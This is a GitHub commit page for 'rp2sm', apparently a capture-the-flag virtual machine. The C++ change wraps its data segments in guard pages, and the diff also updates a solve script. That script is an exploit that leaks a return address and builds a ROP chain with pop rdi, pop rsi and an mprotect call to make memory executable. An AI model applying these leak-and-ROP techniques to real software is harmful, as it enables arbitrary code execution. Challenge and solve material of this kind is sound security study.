Skip to content

Commit

Permalink
allocate extra guard pages around data sections
Browse files Browse the repository at this point in the history
Prevent OOB accesses on data sections from reaching any memory
  • Loading branch information
ethanwu10 committed Jul 15, 2021
1 parent 6e667de commit 9347d12
Show file tree
Hide file tree
Showing 3 changed files with 34 additions and 20 deletions.
24 changes: 19 additions & 5 deletions rp2sm/src/VMContext.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,10 @@ struct PageSizeGetter {
page_size(sysconf(_SC_PAGE_SIZE))
{}

size_t align_up(size_t l) const {
return (l + page_size - 1) / page_size * page_size;
}

constexpr operator size_t() const { return page_size; }
};
const PageSizeGetter page_size{};
Expand Down Expand Up @@ -124,10 +128,20 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) {
VMContext ctx{};
Impl& impl = *ctx.impl;

impl.seg_rodata = SegmentInfo::mmap(header.sh_rodata.mem_size, PROT_READ | PROT_WRITE);
impl.seg_data = SegmentInfo::mmap(header.sh_data.mem_size, PROT_READ | PROT_WRITE);
memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size);
memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size);
{
impl.seg_rodata.len = page_size.align_up(header.sh_rodata.mem_size);
impl.seg_data.len = page_size.align_up(header.sh_data.mem_size);

impl.data_arena = SegmentInfo::mmap((1ull << 32) + impl.seg_rodata.len, PROT_NONE);
impl.seg_rodata.base = reinterpret_cast<uint8_t*>(impl.data_arena.base) + (1ull << 31);
impl.seg_data.base = reinterpret_cast<uint8_t*>(impl.seg_rodata.base) + impl.seg_rodata.len;

impl.seg_rodata.set_prot(PROT_READ | PROT_WRITE);
impl.seg_data.set_prot(PROT_READ | PROT_WRITE);

memcpy(impl.seg_rodata.base, code_buf + header.sh_rodata.offset, header.sh_rodata.file_size);
memcpy(impl.seg_data.base, code_buf + header.sh_data.offset, header.sh_data.file_size);
}
impl.seg_rodata.set_prot(PROT_READ);

impl.c_st.functions.reset(header.n_functions);
Expand All @@ -145,7 +159,7 @@ VMContext VMContext::create(void* _code_buf, std::size_t len) {
auto& c_st = impl.c_st;

c_st.seg_got = SegmentInfo{
impl.arena_ptr,
impl.code_arena_ptr,
page_size
};

Expand Down
10 changes: 5 additions & 5 deletions rp2sm/src/VMContext.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -16,15 +16,16 @@ namespace rp2sm {
struct VMContext::Impl {
static constexpr size_t ARENA_SZ{1llu << 31};

void* arena_ptr;
void* code_arena_ptr;
SegmentInfo data_arena{};

SegmentInfo seg_rodata{};
SegmentInfo seg_data{};

CompilerState c_st{};

explicit Impl() :
arena_ptr(
code_arena_ptr(
mmap(nullptr, ARENA_SZ,
PROT_NONE,
MAP_PRIVATE | MAP_ANONYMOUS,
Expand All @@ -34,9 +35,8 @@ struct VMContext::Impl {
{}

~Impl() {
munmap(arena_ptr, ARENA_SZ);
seg_rodata.unmap();
seg_data.unmap();
munmap(code_arena_ptr, ARENA_SZ);
data_arena.unmap();
}

Impl(const Impl&) = delete;
Expand Down
20 changes: 10 additions & 10 deletions solve/stg2.rp2t
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
/*
Gadgets:
0x233a: ret leak
0x2b21: leave; ret;
0x2b51: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load)
0x2472: pop rdi; ret;
0x228f: pop rsi; ret;
0x234a: ret leak
0x2c11: leave; ret;
0x2c41: mprotect(_, _, PROT_READ | PROT_EXEC); (5*8 load)
0x2482: pop rdi; ret;
0x2293: pop rsi; ret;

ASSUMING: all address arithmetic doesn't cross (1<<32) address boundary
*/
Expand All @@ -25,7 +25,7 @@ function entry(args: 2, ret: 1, locals: 6) {
// ret leak hi
local.set 4 // librp2sm base hi
// ret leak lo
li 0x233a
li 0x234a
sub
local.set 5 // librp2sm base lo

Expand All @@ -41,15 +41,15 @@ function entry(args: 2, ret: 1, locals: 6) {

local.get 5 // librp2sm base lo
dup; dup
li 0x2b51 // mprotect
li 0x2c41 // mprotect
add
li mprot_lo
mem.sw
li 0x2472 // pop rdi
li 0x2482 // pop rdi
add
li poprdi_lo
mem.sw
li 0x228f // pop rsi
li 0x2293 // pop rsi
add
li poprsi_lo
mem.sw
Expand All @@ -76,7 +76,7 @@ function entry(args: 2, ret: 1, locals: 6) {

drop // remove spacer
local.get 5 // librp2sm base lo
li 0x2b21
li 0x2c11
add
call writer1 // ret addr lo
local.get 4 // librp2sm base hi
Expand Down

0 comments on commit 9347d12

Please sign in to comment.